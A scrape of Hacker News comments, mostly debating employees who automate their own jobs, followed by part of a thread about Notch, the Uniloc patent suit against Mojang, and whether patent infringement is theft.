In one case I was going to be assigned to do testing every evening. But I
wanted to go home at 6 every day, so I automated the tests on my first day,
then came back in the morning and started 'working on my next task'; never
realizing that previously the testing job had been a full time position.
I ended up doing about 5 people's worth of work there that summer.
Of course, it's probably because the project wasn't particularly organized,
and our team was explicitly given a free hand to find inefficiencies and fix
them. Still, it's a nice story to tell people ;-)
~~~
munk-a
It's great to do that, in the puzzles we're all trying to sort out in our
daily jobs actually managing to entirely automate yourself out of a job is
basically solving the equation.
Granted the value created by such tasks usually isn't fairly compensated so
there are a lot of societal issues.
------
ry4n413
I work in Finance/Investment Industry and was "let go" from one of the
companies I worked at because I automated a large portion of my job (among
other things). I even wrote an instruction manual for the entire process (not
knowing that I could/would be let go). They ended up replacing me with a guy
who didn't know how to program, but had 20 years of experience. Live and
learn.
~~~
krupan
That should look really good on your resume, or probably could be the basis
for a consulting business.
~~~
ry4n413
Yep, I started a consulting venture ~2 years ago. Funny enough, the guy who
"let me go" also said I should start a consulting business.
[https://www.gotemstl.com/](https://www.gotemstl.com/)
------
eslaught
The funny thing about coding is that every time we automate something away, we
just go on to take on ever more ambitious projects. We've been automating away
our own jobs for decades, and... the jobs haven't gone anywhere. If anything,
there is more demand now than ever. Short of strong AI, I don't see this
changing.
This is actually one of my biggest reasons why I don't think we'll ever
develop a true engineering discipline of software. In other engineering
disciplines, there's a notion of a routine set of tasks that require skill and
displine to perform. In software, whenever we discover routine anything, we
automate it away. Therefore there is a relentless force moving against the
routinization of our work, that is precisely what has made it so lucrative to
be in software.
Who knows, maybe some day that trend will end. But at least for a good while,
I suspect the more likely possibility is that we'll keep expanding the scope
of our work as the tools keep taking on more of the work.
------
knurdle
At the first internship I had in the late 90's, part of my job was taking
these text files full of data and creating these huge excel reports with them.
It was something that would take a few hours to do because of how much data
there was. I taught myself VBA and wrote up this little program where you just
upload the file and it spit out the report in about a minute. I luckily had a
boss who saw the potential in that and while I wasn't promoted, I was just an
intern after all, at the end of the summer, I was the only intern the company
kept. And they moved me all around the company to different departments and I
learned a ton and it was a great experience. I did automate a few departments
to the point where people who were doing full time work had their work cut
down to couple of hours a day at most. I finally left when my friends who
started doing internships at these "internet" companies were getting paid more
than I was and I had asked for a raise and didn't get it.
------
megamindbrian2
I use a calendar pretty heavily to stay on task. I automatically accepted
meeting invites because my job was so boring going to meetings was probably
the only good part. My managers found out I accepted them automatically and
told me to turn it off. Instead of turning it off I put a 5 minute delay on
the invite receipt. I was laid off for "attitude problems".
~~~
pensatoio
I don’t get it. What’s wrong (morally or otherwise) with automatically
accepting meeting invites.
~~~
megamindbrian2
They said I didn't look at a meeting so they were mad when I'd show up a
minute or two late. Of course no one cares when other managers showed up a
minute or two late. This was at Charles Schwab. I'd never work or invest
there.
------
siliconc0w
Businesses are mostly just complicated cybernetic programs that try to turn
money into more money. But it's like shitty spaghetti code where you have to
understand years of debt to understand why A needs to talk to B, C, D and
process the results into some new form E. Maybe they do this manually with a
spreadsheet and arcane business rules passed down from generation to
generation or maybe those rules are encoded in some awful program written
twenty years ago that is terrible by any modern measure but is bespoke tailed
to their shop/industry/regulatory environment.
You could probably automate this process but it requires a holistic
understanding of the whole system which no one may even have, much less
someone with the technical skills to automate. Plus it's like refactoring
spaghetti code with little to no documentation, no specification except the
current output, no tests, and likely involves a some combination of multiple
technologies and manual human-powered processing.
------
mikestew
What's disappointing is the opening story of the QA guy who automated his job
and then proceeded to spend time playing video games. To each their own how to
use new-found efficiency, but if this person had truly automated their job in
50 hours, I'll bet _someone_ within the company could find him something more
interesting to do, for a lot more money.
~~~
auxym
I read r/financialindependence from time and time, and it's not uncommon for
me to read about people _who have nothing to do at their job_. From their
account, they ask for more work, but nothing comes, and they spend their days
redditing and watching youtube. Thus, they want to retire ASAP as they find
this mind-numbing.
This is completely bewildering for me. All managers I've had were always eager
to pile on more work on my desk when I was starting to look like I was
finishing something, sometimes to a fault.
Is it a US thing? Have you guys experienced something like that? What is it,
something like having to keep people around to justify budgets?
------
outworlder
I am currently trying to automate my job. This will allow me to focus on more
important issues.
In other words, I am automating away the job I don't want to do, to focus on
the job that I want to to, and that will bring more value for the company. I
don't expect the workload to ever decrease, just that our team will be able to
tackle bigger issues.
------
derefr
One perspective I haven't seen here yet: these employers are willing to pay an
entire person-salary to get this task done. Therefore, if there was a SaaS
service that did the same task, the company should be willing to pay a person-
salary worth of money for that SaaS product.
So why not build the automation in your free time, knock out a little website
with a Stripe subscription form to sell it, convince your boss to pay for this
SaaS service _instead of_ paying you to do it, and _then_ ask if they have any
other work for you to do?
If they do, great: now you're making 100% of your salary from the SaaS (and
you can grow it from there if you like), and then 100% of your salary again
because they've retained you to do a new thing.
If not, great: now you can quit and do what you like and continue to receive
100% of your previous salary in passive SaaS-business income.
~~~
bradknowles
No business would be willing to pay that.
Once you've shown them that the job can be done easier/faster/cheaper, they
will insist on that as the new standard.
Rinse and repeat until you are penniless and they have all the money.
~~~
derefr
But they _were_ just paying that, in the form of paying you. If they don't
think the task is worth paying that much to get done, they would have just
been not-doing-the-task.
Also, note that I never suggested mentioning that the SaaS service you create
should make any mention of its service being automated.
Consider an entry in the "cloud bookkeeping SaaS" genre: they sell you on
having real accountants looking at your books, _with_ automation to ensure the
_reliability_ of those accountants' work. They never mention that they'll also
be using automation to make your workload easier to handle, such that each of
their accountants is handling the books of 1000 clients. That's an
implementation detail.
~~~
bradknowles
They were paying you that, sure. But then you showed them that they didn't
need to pay you that anymore, because you automated that job away. So now they
won't pay you nearly so much.
You're welcome. Now, get back to work, you slave! ;)
~~~
derefr
Ah, but you didn't automate the job away. Like I said, you did the automation
on your own time, with your own resources. It wasn't work-for-hire; they don't
own the rights to it. And there's no instance of it already set up for them to
use. As of the moment that you offer them the _opportunity_ to subscribe to
your SaaS service (and note that you don't have to mention that it's _your_
SaaS service), they're still in the position of having no automated process,
just you sitting there able to do the process manually.
So they have two decisions to make: whether to buy the SaaS service (in order
to receive the benefit of the automation); and whether to keep paying you.
They can choose to say "no" to both... but now, not only do they not have an
automated process, and just as little idea of how to automate it as they did
when they started; they also don't have you there to do the process for them,
and they lose your hard-won expertise on the process that would be crucial for
building any sort of in-house automation.
(I'm assuming here, note, that the company isn't one that _tends to_ automate
processes—if they did, they'd probably have already found the low-hanging
automation fruit that your job consisted of. As such, they likely don't have
any in-house automation expertise, nor do any in-house expertise for
evaluating the competence of automation consultancies.)
ETA: my original point was that everything I'm saying here (and more) is what
some person with sufficient motivation to think through all the details would
be saying to their boss to convince them. "Convincing your boss" includes
"thinking through all your boss's objections and having rehearsed, polished
counters for them." Have I done that? No. But I'm not someone with an
automatable job.
------
mmsimanga
I used to train clients on the BI product the company I worked sold and
supported. This was mostly taking users through the demos. The users would
follow what I was doing on their training PCs. The problem was that in one
class it was possible to have users who might have been exposed to the
software before or were just fast learners. Sometimes the software would have
issues on the training PCs and I would have to trouble shoot what the error
was. In a nutshell it was tough running demos and attending to slow users and
issues with PCs.
So I automated the demos part by creating screencasts of the demos. I would
play the demo whilst I was helping out my students. The first class loved the
demos. They asked for copies which I gladly gave them. Management didn't like
the idea and I was told not to use my screen casts.
------
sharadov
I see this possible in only 2 kinds of organizations 1\. Very large - where
you are a practically a number and work in a department buried deep. 2\. Small
- where there is a reasonable amount of technology but no desire or budget to
upgrade. It's working, so don't touch it.
------
yason
If your work really is so simple that all of it can be automated then it
initially sounds like a golden deal: the employer is getting what they're
paying for and the employee has a lot of... free time.
But the trouble is that most decent programmers just couldn't stand that. They
absolutely need to feel they're doing useful work. So they'll either expand
their duties in the company (likely with no similar expansion in their pay) or
leave for another company (that pays them to do the both challenging and
useful work).
Another case are companies where you absolutely need to automate lots of stuff
to get to do real work. If you fight the system you'll run out of energy
sooner than the system ever would, but if you automate the fight you can stay
operative yourself.
------
recon517
Easy to understand if you are cheating by automating your job and spending now
freed time for leisure: if your contract says that you are paid by an hour or
for fixed number of hours a week/month then you are cheating. Of course, not
paying you for overtime can also be considered cheating from your employer.
The only way to not be cheating by automating your job is to spend now extra
available free time for other duties mentioned in your contract, perfecting
your professional abilities, or moving to a contract which is goal based, not
work-hour based.
It is a pity that somebody can be clever enough to automate his/her job but
don't see implications regarding the contract signed with the employer.
------
jv22222
When I built my SaaS app Pluggio (a social media dashboard), I'll never forget
a conversation I had with a customer, who gleefully explained how much they
loved the product!
Apparently, before Pluggio they had someone working full time on social media.
But now, they were able to fire them and do that same work in 1 hour a week
for only the $25/month cost of the app.
After further digging, I realized that a lot of my customers had fired people
because of the leverage that the app gave them.
To this day I don't quite know how to feel about creating products that mean
people loose their job.
Anyway, it's one (amongst a few other) reasons I decided sell the business and
move on.
------
meuk
It always bothers me how things could be automated better if people just put
in a little more thought.
For example, where I work, we use both entity framework and raw SQL scripts. A
common chore is to delete all migrations, delete the database, run "add-
migration SetupDB", "update-database -script", and save the script (with some
added boilerplate) in a specific folder
However, the "update-database -script" command does not pipe the script to
output, but instead opens a new window in VS with the script. This is part of
the reason why I am not a fan of Microsoft/Windows: relying on a GUI makes
automation so much harder.
~~~
yurishimo
Aren't there ways to automate this though? Even if it's not 100%, maybe you
could get the first parts, and then get everything setup so you only need to
click a window and then "select all, copy, tab, paste" to finish.
I'm sure with some clever thought, you might even be able to use a GUI
scripting program to work with the VS window. I'm thinking of a series of
keyboard shortcuts to reliably set the state of the VS window to where you can
script a mouse click in the appropriate spot and then more keyboard shortcuts
to copy and save the output.
------
gravy
How do I find a job I can automate away?
~~~
abledon
look for excel heavy data entry jobs
~~~
morenoh149
any other tips? what if you have plenty of experience programming, wouldn't it
be too obvious?
~~~
abledon
\- I see your background is heavy in tech... we dont see these types of
resumes normally
\- yeah, i used to work on aproject for 4 years, it never saw the light of day
because the people and business processes werent in place. I'm interested in
exploring the non-programming side of business , the people relationships,
(insert whatever aspects of position your applying for here)
------
godelski
It seems to me that we are coming on a different paradigm of work. It makes
sense in the industrial revolution to have assembly line like working. Where
workers are "cogs in a wheel". But now we have tons of tools to do those
strict tasks. After all, every programmer says you should program repetitive
tasks.
So what do we shift to? A wider job duty and more creativity? Creativity is
the thing that machines still fail at the most and (as far as I know)
currently impossible to automate.
------
wallstquant
How is a programmers value add usually measured?
I am a researcher/trader and I spend a large portion of my time programming,
but I am ultimately paid off the change in profitability of the strategies
I've worked on and not on the code I've written. It's a means to an end.
When someone is working on a purely technical project, how can they
successfully argue for the value of their work? How do you measure the value
of a purely technical project? Are there other metrics that matter?
------
jillesvangurp
If you are getting money for not working because you automated your job away,
good for you. But you should be aware that your company will likely not
survive very long because it is being mismanaged. Chances are that it has
smarter competitors already. Usually it is just a matter of time before the
shit hits the fan.
So, you might want to consider using your time preparing for that eventuality.
E.g. spend some time learning new stuff or jump ship to a better company.
~~~
aplummer
I think you underestimate how defensible some businesses are. For example, a
supermarket or bank in Australia. “A matter of time” could be your entire
career.
~~~
dbmk
Yes. I worked for a company that has such a moat surrounding its line of
products, it will a couple of decades to erode. 70% of the people there were
doing very little on a day-to-day.
------
astannard
I automated my job at a company. I did not tell management for a week after
but was then bored. It took another few months of me nagging them for more
work before the believed me and gave me another project.
It was a business critical application I inherited that was highly unreliable,
my job was to keep it running. I just reworked the code so that it ran
reliably and was resistant to outages etc. I also added in a few scheduled
tasks etc to keep it ticking over
------
IronWolve
Go away or I will replace you with a very small shell script
------
cyberferret
This could be a koan: If you write a program that works so well that it makes
your job of programming easier - are you a good programmer or a bad
programmer?
------
lucas_membrane
The opposite also happens. Almost fifty years ago at a large insurance
operation in downtown Los Angeles, there was a programmer who programmed and
maintained a suite of reporting programs. But his programming skills were
limited, so he was actually just keypunching the needed reports into his
programs as hard-coded data. If you get what you pay for, why care?
------
vorg
Many programmers who automate portions of their workload will use the extra
time they gain to place bugs in the systems. When those systems fail, they
quickly fix them and look like a savior. If they are on after-hours standby,
they make extra money from the callouts. They thus reduce the stress in their
own jobs, but increase the stress in other peoples jobs.
~~~
korantu
This is borderline criminal, and should be caught with processes / code
review.
Did you really see a lot of such cases??
~~~
vorg
When I worked in IT, both in mainframe programming and before that in ops, I
saw many cases of this. "borderline" is just another word for "plausibly
deniable". Programmers doing it can claim to have made a mistake. Managers
turn a blind eye to it because it's easier than getting pay rises for staff
they don't want to leave.
------
honkycat
I've never understood the profound lack of drive and ethics it takes to
automate your own job and then conceal it from your employer.
The worst jobs I have ever had have ALWAYS been the ones where I'm not
contributing to my company in an obvious way, or at consulting firms where we
consistently kick ass and finish our sprints early, and then goof off for days
on end.
~~~
derefr
> profound lack of drive
That assumes you want to be doing the thing you're doing, rather than some
other thing (which potentially doesn't generate money.)
Professionally, I'm a programmer. I write code for money.
But _vocationally_ , I'm an author. You know what the best job in the world
would be, for me? One where I'm paid a living wage to do nothing at all. Then
I would have the free time, the energy, and the resources to write books.
"Why not just become a professional author?" Well, because being a
professional author is only a little bit about writing books. A lot of being a
professional author is about _selling_ books. Going on tour to signings,
appearing on morning talk-shows, and just generally running the business of
extracting royalties from your book.
But I am not, vocationally, a businessman who happens to be good at writing
books, and so sees that as an appealing strategy toward an end-goal of "making
money." No, I'm an author. I love writing, not money. I love seeing people's
smiles when I reach them with my writing. Money is a means to that end—a way
to keep me alive so I can keep doing the thing that makes me happy. If I could
be kept alive and functioning and able-to-write without any income, I'd gladly
have none.
I would say that I have plenty of drive. Just... not for doing the thing that
I do for money.
~~~
honkycat
Honestly, your comment annoys me because it puts words in my mouth, as if I'm
doing what I want to be doing. As if I DREAMED of being a back-end developer
my whole life. As if I'm some artless drone that can't understand the mind of
an artist.
> That assumes you want to be doing the thing you're doing, rather than some
> other thing (which potentially doesn't generate money.)
No, it doesn't at all. It means I would rather be doing something more useful
than browsing facebook all day for a job I'm being paid to do. It means I
don't dump all of my work onto the people around me and be a complete
parasite. It means I want stability and praise instead of constant fear of
being discovered and fired and ruining my own life.
Most of us do not want to work, that is why we are paid for it. The vast
majority of people do their job to get by.
> But vocationally, I'm an author. You know what the best job in the world
> would be, for me? One where I'm paid a living wage to do nothing at all.
> Then I would have the free time, the energy, and the resources to write
> books.
Yes, I would love to hang out at home and read books all day, constantly
learning new things.
If I could drop everything and not have to care about having a roof over my
head, I would be a video game developer or an artist.
BUT, I don't have rich parents or anybody to support me. I don't have the
privilege of not working, most people do not.
So instead I'm a slacker programmer who doesn't work overtime, gets by, and
lives his life the best he can in his down time.
> I would say that I have plenty of drive. Just... not for doing the thing
> that I do for money.
To be clear: I'm specifically talking in the context of people who are so
dysfunctional that they automate their jobs and do literally nothing for
years. If I was in their position I would find something more interesting to
spend my time on.
What do you do after that? Who is going to hire you after being fired for
defrauding the company? Also: I believe doing things like this CAN open you up
to liability. Also often a company owns everything you do with their computer,
or that you do during work hours.
------
monkeydust
I am currently building and selling software that automates fx and fixed
income otc traders out of a job.... Or rather....allows them to spend more
time on higher value tasks (so goes the theory!)
It's fairly addictive automation, I'm finding all sort of functions and jobs
that could / should be automated to the growing frustration of my colleagues
:-)
------
bryanrasmussen
In A Winter's Tale by Mark Helprin (different one, but still something of a
jerk), the rich daughter of a Newspaper magnate who has needed glasses since
she was a child gets an eye exam and is declared to have perfect vision and
not in need of glasses. Her father says to bill him for one pair of perfect
glasses that will never break.
------
ovrkil
I'm employed at a company that engineers financial institution software. I
have no qualms admitting when I moved to QA I quickly wrote a program to do my
testing. Now each release I just update the relevant variables compile load
and run. I see no problem with using my grey matter to it's full potential.
------
0xfeeddeadbeef
I've read on HN (don't remember exactly) a story about a military service
person, who automated his data entry job and told his commanding officer, who
scolded him and told him to do what he was supposed to do and "not to be
clever". Maybe someone recalls the article I'm talking about?
------
_zachs
There's a big difference between a Software Engineer and a Data Entry worker.
While I (Software Engineer) can definitely automate certain parts of my job, I
cannot automate taking an issue from the board, figuring out how to solve it,
writing code to solve it, and getting it reviewed in a PR.
------
ovrkil
I work for a financial software company in QA and I have no qualms admitting
right after arriving I wrote a program to test the new release code for me.
Each release all I have to do is change some variables load and run. I see
nothing wrong with using my grey matter to its fullest potential.
------
amarant
The real story is that management didn't hire someone to automate these tasks
in the first place!
That's what we have software for, do boring stuff so we don't have to! By
automating these people proved themselves to be developers, and not just
software-in-a-meatbag, or SIAM, if you will.
------
omneity
Shameless plug, I wrote a tool that allows coders to leverage automation a lot
more:
[https://medium.com/p/meta-executable-processes-for-
software-...](https://medium.com/p/meta-executable-processes-for-software-
development-eea55103e4b0)
------
jeandejean
Well it seems that if your work can be so easily automated, we shouldn't call
you coder in the first place.
That's an interesting debate, but basing the article on 2 anonymous reddit
posts whose authors couldn't be reached to get the full story is not what I
expect from journalists.
------
jsprenne
Automating data entry work or similar is one thing, there are many companies
out there automating a high-value-added work like IT project management. Most
of the work project managers do today will be automated in the coming years.
Mark my words!
~~~
snarkyturtle
One thing that PM's do that I don't ever see a computer doing is managing
clients/workers. It's the classic idiom: technology is easy, it's people
that's the hard problem.
~~~
jsprenne
You're right about people being the problem but, as you said, technology is
easy and in my work, I see how automation manages clients and workers.
------
FrozenVoid
The people automating their jobs are automating themself out of the job,but
freelancers are just simplifying their job. The difference is freelancers
aren't obligated to reveal the magic of their work. They just "do it".
------
raintrees
It would seem automated coding would be right up "Ditching Hourly" Jonathan
Stark's alley... It would instead require a shift in attitude about value and
time. It follows in the lazy (automate it) ethic.
------
jtcond13
Inter Alia, this article is another piece of evidence that a lot of pretty
smart people are stuck in jobs that aren’t very complex. The accumulated cost
of this to the rest of us is quite high...
------
Walkman
We automate everything we can, but I never felt for a single moment that I
will have no job tomorrow if I do this, there is always so much problems to
solve, so much to do.
------
matchagaucho
Moore's Law seems so ingrained in Silicon Valley, that _not_ questioning
automation opportunities every 18 months is a guaranteed predictor for
obsolescence.
------
caoilte
The real crime is that these very smart data-entry clerks don't quit for
programming jobs that pay double.
------
amelius
Interesting. Now I want to read about doctors and lawyers automating their own
jobs.
------
EugeneOZ
If you can automate your job, you are not a programmer. Maybe nasty "coders"
means exactly this.
------
goombastic
Not sure why so many people here are surprised that benefits of efficiency
accrue to the owners of capital. That's the basic premise of capitalism in a
way.
Profits float upwards, hard negotiation pushes downwards on actual workers and
managements try as much as possible to reduce what's owed to actual "doers" of
work.
------
nerdponx
And no mention of Marx or Socialism? If there's ever an appropriate time to
bring up worker-owned means of production, it's this right here. As I've heard
it (I have not read the Communist Manifesto myself), Marx viewed automation as
one of the ways in which workers can liberate themselves.
The merit of welfare economics is predicated on the "winners" being able to
compensate the "losers", and thereby obtain a Pareto-optimal wealth
distribution. The fact that this compensation does not happen is the reason
that aggregate consumer welfare has grown tremendously, but people still have
to work 40 hours a week for their food, housing, and healthcare.
It's tempting to say that employees ought to be compensated proportional to
the value they generate. Let's say every employee is allowed to _license_
their work output in such a way that, if they automate a process, they are
entitled to royalties stemming from the automation of that process. Should
that license be perpetual? How do you decide how big the royalty should be?
How do you determine the actual value generated by a given automation?
Edit: wew, instant downvote. Care to clarify?
------
rllin
this is in a class of problems i've been thinking about recently
\- usury
\- patents
\- copyrights
\- land
\- software as a service
the first 3 all have some slowly changing socially acceptable period of
profit. and they are all enshrined in law. but this means there are also
frameworks in place for adjusting this period of profit (lobbying, etc.)
the 4th is only capped by property taxes and sometimes with unintended
consequences (cf. prop 13)
the 5th is unregulated and seems socially acceptable to have no definite end
date due to a combination of (sometimes artificial) technical difficulty (need
for support, e.g. RedHat, any other company based on FOSS) and slow addition
of pithy features.
i'm not sure i have any conclusions, but I think this framework is useful
because it allows us to examine it with an older moral framework rather than a
more (post) modern marxist.
------
hardwaresofton
I never see anyone suggesting that maybe we should be rethinking the contracts
we sign as developers and rethinking how our compensation is determined.
Despite how well you think you're being paid, you're being underpaid (this is
almost necessarily true economically) -- in addition to that, companies have
literally colluded in order to suppress your wages, despite making profits fit
for history books.
The idea that an employer owns everything (in particular IP, basically the
products of your mind) that you generate on their time or yours while you work
for them is bullshit -- it's a complex problem but business has chosen to
resolve it 100% in their favor and workers just laid down and taken it. Non-
competes and strict laws against selling secrets are one thing, but laying
defacto claim to everything you generate is ridiculous, yet is the norm.
\-- rant incoming --
Software Engineers/Developers/programmers are just the bottom rung of this
century's gold rush. Half the time the mines they're working in are canary-
less coal mines. Some drink the kool-aid and think the "startup" they work for
is anything more than an aspiring too-big-to-fail company, after a few years
they wise up and by that time they're too bogged down with life to care/change
course. I remember reading a post earlier in the week on C-level compensation
and noting that CTOs were the least paid of all the C levels, despite being
maybe the second most directly tied to the economic value of any tech company
(sales might be #1).
Despite how smart we think we are, software engineers are fucking stupid. This
article is stupid, but only because the premise is stupid (outside of taking
~20 paragraphs to go through random internet musings/anecdata to get to it's
point:
> Self-automators show that coders are actually in a unique position to
> negotiate with employers over which automation-derived gains—like shorter
> workweeks and greater flexibility to pursue work that interests them—should
> be kept by workers. There’s little evidence of any interest in doing so, but
> theoretically, self-automators could organize, and distribute automation
> techniques among middle- and working-class coders, giving rising to an
> industry that could actually enjoy that 15-hour workweek. It seems a rare
> opportunity—perhaps, with the advance of AI, one of the last—to try to set
> the terms for a mode of automation that puts people first.
People who deliver out-sized value for a company but aren't naive enough to
think they'll be anywhere near properly compensated will not share their
secrets. The ethics question isn't even on the right side, companies should be
paying employees for the value they create properly, this situation exists
because that doesn't happen. Companies are "people", yet aren't beholden to
ethics and are largely run by people divorced from the realities they impose.
Where you land on this issue is basically how your employment contract was
written and how you interpreted it, against the backdrop of the culture it's
in -- the only difference is that people at the just about always cheat/bend
rules or find luck to get to where they are, but preach that they "put in the
time" and honestly just worked hard for forever to get where they are.
There is nothing inherently noble about doing work -- that's vassal brain
fodder. If working was the only way to build discipline and dedication then we
should all be working graveyard shifts at 3 jobs, and _not_ wanting to get
rich.
------
pdimitar
> _“They took what I had developed, replaced me with an idiot that they showed
> how to work it, and promptly fired me for ‘insubordination.’ I had taken a
> business asset that was making them $30 grand a year profit and turned it
> into a million dollar a year program for the company, and they fired me for
> it to save ~30 grand a year on my salary. Job creators my ass.”_
There's an inherent conflict of interest and power struggles in many
organizations. The business people rarely do create value by themselves; they
create the opportunities where value can be created -- and not all
businessmen. So when they see something that changes the game, they utilize
the convenient clauses in the contract and seize that new power which they can
utilize and try and gain the upper hand on others like them. Cynical I know,
but it's what I observed first-hand and what many others have told me.
> _Ideally, automation decisions would happen collectively, with colleagues’
> and peers’ input, so, the gains could be evenly distributed._
Cute, but I don't see this happening anytime soon. Let's face it: most of us
fight for scraps from the tables of others, much more rich, people, for most
of our lives. Look at a lot of politicians.They start off so idealistic and
some of them even strongly believe everything that got them elected. What
happens next? We don't know _what_ happens but the end result is that they get
more and more disconnected from the problems of the people who elected them.
Why do you think that is?
I believe it's because they got their hands on money and connections.
Additionally, they worked a _LOT_ to get where they ended up eventually. Tell
me, would you like to start over in a brand new area and not get your hands on
poorly documented money and just work for a meager official salary? All of
that when you are 50+? We the people burn out and we need our efforts to lead
to a better future where we work less. IMO it's inevitable.
What I am saying is that I don't feel the need to share a piece of $500,000 a
year consultancy with fellow programmers if I do NOT have several beach houses
and apartments in downtown areas of several capitals. And have a healthy
reserve of money to last me a economical crysis akin to the 2008.
...Basically, I don't see myself being very generous up until I hit 8 figures
of income. I am greedy and I am real about it. I don't feel many others are
very benevolent and will STAY benevolent when faced with the choice to live
peacefully and leisurely with all the financial security they desire vs.
taking risks to finance people who might just be looking for a secure paycheck
and don't care about the cause you want to invest your wealth into. This is a
very real risk and is the reason for the failure of a lot of startups.
But if you have different view I am interested to hear it.
> _“The system shouldn 't be more important than the individuals who helped
> make that system relevant.”_
That is unequivocally true. And IMO it will never change anyway. :(
The people who collect and get to redistribute wealth are greedy and aren't
that stupid that they will invite competition out of a good heart.
------
gaius
Many years ago, one of the secretaries was on holiday and the big boss asked
me to write a program that, unbeknownst to me at the time, completely
automated her job away. When she came back she came to me in tears, couldn't
believe I had stabbed her in the back like that. Well this story has a happy
ending, the boss did it so he could promote her, he just thought it would be a
nice surprise! But ever since then I have been very conscious of the power we
have and I try to work on new things, not merely automating away old ones. I
make the exception obviously for using automation to bring work back in-house
that had previously been outsourced or offshored. Those jobs are already
destroyed, and automation always improves the quality and turnaround.
~~~
onemoresoop
I wonder why you got downvoted as I am always wary of what that kind of
(sneaky) direct job automation can cause to the people who are discarded.
------
browsercoin
when I did this at my last job they were like cool, can you automate this and
this....
I learned that I was taken advantage of.
~~~
vajrabum
Hopefully you put that experience on your resume and got a higher wage at your
next job putting your automation skills to good use.
------
JakeWesorick
Yes the employer is dumb for not realizing the job can be automated. Yes you
are smart for writing code that automates the job. But I feel, as an employee
of the company, it is un-ethical for you to knowingly see an extreme
inefficiency and hide it for your own personal gain.
Also, it seems like a huge way to waste your life. Find another job where they
can actually use your skill set to do something meaningful.
~~~
kyleblarson
[https://www.news.com.au/finance/work/at-work/spanish-
public-...](https://www.news.com.au/finance/work/at-work/spanish-public-
servant-skipped-work-for-a-decade/news-story/e7623219ac39c696812b368269b5ef59)
~~~
jlarocco
Not justifying what he did, but that's not possible without a major management
failure.
| {
"pile_set_name": "HackerNews"
} |
Even experts get it wrong - vasco
http://notch.tumblr.com/post/27897241780/even-experts-get-it-wrong
======
irahul
The dude attacking Mojang isn't looking good.
> Its amazing to see so many people loyal to this game maker. Good on him.
Eh, didn't take the time to consider some of us are against the patent
bullying, and not just fanboys.
> 1\. I am not the inventor of the patent in question.
> 2\. The personal attacks are a bit much don't you think?
As long as people aren't doing anything illegal, I don't see why they should
refrain from letting you know their displeasure.
This blog post doesn't give enough context. My google searches say he is
backing up the company, but distancing himself personally from the lawsuit.
[http://www.escapistmagazine.com/news/view/118649-Uniloc-
Crea...](http://www.escapistmagazine.com/news/view/118649-Uniloc-Creator-
Denies-Mojang-Lawsuit-Involvement)
[http://www.computerandvideogames.com/359452/uniloc-
founder-r...](http://www.computerandvideogames.com/359452/uniloc-founder-
responds-to-disgusting-minecraft-fan-emails/)
> Patents are there to stop people stealing a technology you invented and
> letting you have a fair shot at making a living from it. If Uniloc wants to
> test this in court it is there prerogative, the same way that Mojang
> contested the use of the copyright term "Scrolls" and took people to court.
As notch pointed out, he is throwing around the word _theft_ when _patent
infringement_ isn't theft(for the simplest example, consider 2 people
independently discovering/inventing something), and Bethesda took Mojang to
court, not the other way round.
~~~
shasta
_Patents are there to stop people stealing a technology you invented_
Actually, that's exactly the purpose of patents. Patent legislation casts a
wider net only because there's no effective way to assess the validity of
someone's claim that "I invented this independently and was uninfluenced by
your invention."
You and notch are in the technically wrong column on this one. Compare to:
"Life jackets are there to prevent drowning". "No, they also prevent swimming
under water".
~~~
chimi
I don't understand why people keep saying it isn't stealing. According to
Merriam-Webster:
Definition of STEAL
transitive verb
1a : to take or appropriate without right or leave
and with intent to keep or make use of wrongfully
and
Definition of APPROPRIATE
transitive verb
3 : to take or make use of without authority or right
Why do opponents of IP rights keep saying it isn't stealing? There's nothing
in the definition of stealing that says you have to physically remove
something from the possession of the owner/creator of the thing being stolen.
You just have to make use of it without the authority or right to do so.
~~~
ThePherocity
Well, I could get into a hundred reasons, but the primary one being that I
personally don't recognize any concept which attempts to frame an idea as
being property. It isn't property, I can't hold on to it, I can't touch it,
and I can't steal it. You don't have any right to an idea over any other
human. This is an abstract construct which attempts to create an artificial
commodity where there isn't one. The consequence is it restricts humanity
adversely as progress is controlled by those who have the currency to file
thousands of patents per year. The free world is changing from a democracy to
a corporatocracy.
Speaking of which, if you still don't understand, think for a second of
democracy (an idea) being patented. People couldn't vote unless they paid
licence fee, and if they were accused of voting without a licence then they
would be deported without a trial on suspicion alone...
It's absurd, but it's more absurd that we've been letting it happen.
~~~
radarsat1
> _It isn't property, I can't hold on to it, I can't touch it, and I can't
> steal it. You don't have any right to an idea over any other human. This is
> an abstract construct which attempts to create an artificial commodity where
> there isn't one._
Apart from "holding on to it," what you say in the quote sentence is true for
pretty much any property. In a strict sense, property is what you can defend.
However, in order stop people using violence to defend their property, the
government steps in and defines material property and vows to defend it for
you through laws about theft, etc.
So property is an abstract concept enforced by the government.
Now, the government simply looks around and says, "what else is valuable for
people that we can protect for them?" One is land ownership. You can't
physically be on the border of your land all the time with a gun, so the
government has laws about trespassing and poaching, etc., and enforces them
for you.
Money is another abstract concept the government defends. It makes things
easier for everyone to have a common currency, instead of trading chickens and
cows, so even though $1 doesn't have a "material" meaning, it represents value
and therefore people have agreed to respect it. The government proposes a
country-wide currency to replace instability of ad-hoc currencies.
Another is copyright. The government agrees that creative people deserve
"ownership" over their work, so they can profit from it, and this bargain is
struck in order to encourage development of culture. It's a concept of
intellectual property that is simply a contract between the people and the
government, and the government vows to defend it.
Another example is patents. The government wants to encourage research and
development, and one way it sees to do so is to help inventors profit from
their ideas by vowing to defend their rights to it for a certain amount of
time.
Before you get all upset (if you're not already), I agree very, vere strongly
with the position that there are _clearly_ problems with patents--specifically
that they encourage many things we find distasteful as society, and the
minefield effect is terribly detrimental, especially in certain areas like
computer programming. There's no question that patents are a problem today,
with the pace of technological development being what it is, and it's clogging
up the legal system like nothing else. These are things that need to be
solved. If the solution is to abolish patents I'm not even necessarily against
that, though I think I agree with Judge Posner that they make sense for
certain industries.
However, the claim that patents and copyright and any intellectual property is
not consistent with the idea of material property is, imho, completely false.
All of these concepts share the same root, that the government vows to defend
your ownership over something. Just because some property is material and
other property is "intellectual" does not make the latter "abstract" and
therefore invalid, because the _whole concept of property_ is abstract, it is
nothing but an agreement.
This is the role of government, really, and I'd say one of its only legitimate
roles, apart from infrastructure building, is to establish agreements on what
we consider property, and enforce them. Now, whether this is done _well_ is a
subject of debate, but conceptually it is self-consistent.
If you don't agree with this, feel free to grab your gun, squat somewhere with
everything you own, build a wall, and try to keep everyone from taking your
stuff, but otherwise you have to acknowledge that the whole concept of
property itself is as intangible the idea of intellectual property.
That doesn't excuse certain aspects of intellectual property from being ill-
defined or badly designed, but the concept is not invalid. The extension from
material property is a logical one.
~~~
